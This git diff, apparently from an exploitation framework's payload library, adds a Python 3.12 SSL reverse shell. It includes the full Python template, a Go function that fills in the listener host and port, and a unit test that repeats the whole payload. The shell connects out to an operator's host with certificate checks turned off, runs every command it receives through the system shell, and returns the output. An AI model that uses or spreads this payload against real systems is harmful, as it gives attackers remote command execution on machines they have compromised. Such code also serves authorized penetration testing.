diff --git a/payload/reverse/python.go b/payload/reverse/python.go index a103da3..5ec92e7 100644 --- a/payload/reverse/python.go +++ b/payload/reverse/python.go @@ -12,6 +12,8 @@ var ( Python27 string //go:embed python/reverse27_secure.py Python27Secure string + //go:embed python/reverse3_12_secure.py + Python3_12_Secure string ) func (py *PythonPayload) Default(lhost string, lport int) string { @@ -27,3 +29,10 @@ func (py *PythonPayload) Python27(lhost string, lport int) string { func (py *PythonPayload) SecurePython27(lhost string, lport int) string { return fmt.Sprintf(Python27Secure, lhost, lport) } + +// An unflattened reverse shell that uses an SSL socket for Python 3.12 context, Windows and Linux. +// This payload is required when doing 3.12 SSL reverse shells as Python moved to requiring SSL +// context over simple socket wraps. +func (py *PythonPayload) SecurePython312(lhost string, lport int) string { + return fmt.Sprintf(Python3_12_Secure, lhost, lport) +} diff --git a/payload/reverse/python/reverse3_12_secure.py b/payload/reverse/python/reverse3_12_secure.py new file mode 100644 index 0000000..a14e998 --- /dev/null +++ b/payload/reverse/python/reverse3_12_secure.py @@ -0,0 +1,17 @@ +import socket +import subprocess +import ssl +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('%s', %d)) +ssls = ssl.create_default_context() +ssls.check_hostname=False +ssls.verify_mode=ssl.CERT_NONE +sslsock = ssls.wrap_socket(s) +while 1: + data = sslsock.recv(1024).decode('UTF-8') + if data == 'exit\n': + break + if len(data) > 0: + proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + sslsock.send(proc.stdout.read() + proc.stderr.read()) +sslsock.close() diff --git a/payload/reverse/reverse_test.go b/payload/reverse/reverse_test.go index 12ff121..41738ce 100644 --- a/payload/reverse/reverse_test.go +++ b/payload/reverse/reverse_test.go @@ -167,3 +167,29 @@ func TestGroovyClassic(t *testing.T) { t.Fatal(payload) } } + +func TestPython312(t *testing.T) { + payload := reverse.Python.SecurePython312("127.0.0.2", 9000) + expected := `import socket +import subprocess +import ssl +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 9000)) +ssls = ssl.create_default_context() +ssls.check_hostname=False +ssls.verify_mode=ssl.CERT_NONE +sslsock = ssls.wrap_socket(s) +while 1: + data = sslsock.recv(1024).decode('UTF-8') + if data == 'exit\n': + break + if len(data) > 0: + proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + sslsock.send(proc.stdout.read() + proc.stderr.read()) +sslsock.close() +` + + if payload != expected { + t.Fatal(payload) + } +}